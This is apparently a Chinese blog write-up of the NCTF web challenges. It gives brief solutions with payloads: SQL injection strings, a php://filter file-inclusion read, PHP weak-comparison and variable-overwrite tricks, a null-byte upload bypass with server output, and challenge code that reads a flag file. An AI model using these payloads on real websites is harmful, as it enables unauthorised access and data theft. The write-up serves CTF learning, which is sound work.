NCTF writeup(Web)

2018/08/16 CTF CTF 3296 words views

这篇是南邮 CTF web 题目的 writeup,写在这里作为记录。持续更新……

1.签到题

查看源码(签到题似乎都是从查看源码开始)

2.md5 collision

payload:

/web19/?a=240610708

3.签到2

tips:

maxlength

4.这题不是WEB

猫腻在图片了

5.层层递进

扫目录 get 404.html

查看源码,源码里面有猫腻,需要仔细才能搞到 flag

6.AAencode

下载下来直接拿去解密就好了

7.单身二十年

burpsuite 抓包(对于这种有链接跳转的,基本都要用 burp 抓包)

8.php decode

代码运行一下,return ->echo

9.文件包含

payload

?file=php://filter/convert.base64-encode/resource=index.php

10.单身一百年也没用

burpsuite 抓包

11.Download~!

貌似是题目坏掉了,题目无法访问

12.COOKIE

tips:

改下 cookie

13.MYSQL

intval函数向下取整,1024.1

14.GBK Injection

https://pengyang.me/2018/08/17/slmap1/

15./x00

我开始直接用 %00截断的时候没有成功,然后换了一种方法

?nctf[]=1

后来发现#需要编码

nctf=1%00%23biubiubiu

16. bypass again

?a=QNKCDZO&b=240610708

17.变量覆盖

extract变量覆盖,POST pass=&thepassword_123=

18.PHP是世界上最好的语言

貌似是题目坏掉了,题目无法访问

19.伪装者

XFF

我一眼看上去就知道是 XFF,但是居然试了很多次都没有成功,别人也是这样做的就成功了,可能题目坏掉了。

20.Header

貌似是题目坏掉了,题目无法访问

21.上传绕过

payload:

-----------------------------8005181633237170861136986551
Content-Disposition: form-data; name="dir"

/uploads/test.php+空格   ---> hex:"20"-"00"
-----------------------------8005181633237170861136986551
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: text/php

分析:

step1:

/uploads/test.php
-----------------------------8005181633237170861136986551
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Type: text/php

回显

Array
(
    [0] => .jpg
    [1] => jpg
)
Upload: shell.jpg<br />Type: text/php<br />Size: 0.2861328125 Kb<br />Sto"red" in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
  ["dirname"]=>
  string(9) "./uploads"
  ["basename"]=>
  string(17) "test.phpshell.jpg"
  ["extension"]=>
  string(3) "jpg"
  ["filename"]=>
  string(13) "test.phpshell"
}
<br>必须上传成后缀名为php的文件才行啊!<br>

step2: 使用 payload

回显

Array
(
    [0] => .jpg
    [1] => jpg
)
Upload: shell.jpg<br />Type: text/php<br />Size: 0.2861328125 Kb<br />Sto"red" in: ./uploads/8a9e5f6a7a789acb.phparray(4) {
  ["dirname"]=>
  string(9) "./uploads"
  ["basename"]=>
  string(8) "test.php"
  ["extension"]=>
  string(3) "php"
  ["filename"]=>
  string(4) "test"
}
<br>恭喜你获得flag一枚:<br>flag:nctf{welcome_to_hacks_world}

通过回显内容的对比可以看到,这里截断就是要截断test.phpshell.jpg从而绕过后台的验证。

22.SQL注入1

user=admin')#&pass=1

23.pass check

POST: pass[]=1

24.起名字真难

PHP 中弱类型比较

0xccccccccc

25.密码重置

貌似是题目坏掉了,题目无法访问

26.php 反序列化(暂时无法做)

暂时无法做

27.SQL Injection

发现sql查选语句使用了分号,对于此种类型的sql注入就必须要闭合其中的分号。由于使用了htmlentities()函数,所以无法使用分号了。此时就可以使用反斜杠来通过转义的方式来吞掉一个分号。注入的payload为:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1%23

那么最后的查询语句就会变为:SELECT * FROM users WHERE name='admin\'AND pass=' or 1#'这样就得到了flag了。 遇到了带有引号的sql查选,就是要逃脱单引号,要么就是生成一个单引号,要么就是省略掉一个单引号。在本题中由于没有屏蔽反斜线,就可以使用反斜线来去掉一个单引号。

28.综合题

JSFuck
tip: history of bash
bash 的历史记录存放在 .bash_histroy 这个隐藏文件里,访问 http://.../.bash_histroy。再下载对应文件即可。

29.system(暂时无法做)

暂时无法做

30.SQL注入2

user=' union select md5(1)#&pass=1

31.综合题2

https://pengyang.me/2018/08/19/nctfzh2/

32.密码重置2

貌似是题目坏掉了,题目无法访问

33.file_get_contents

GET /web23/?file=php://input HTTP/1.1

meizijiu

34.变量覆盖

GET /web24/?name=meizijiu233 HTTP/1.1

35.HateIT

36.Anonymous

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

上一篇: never give up(Bugku)
下一篇: 00截断上传

Search

    Table of Contents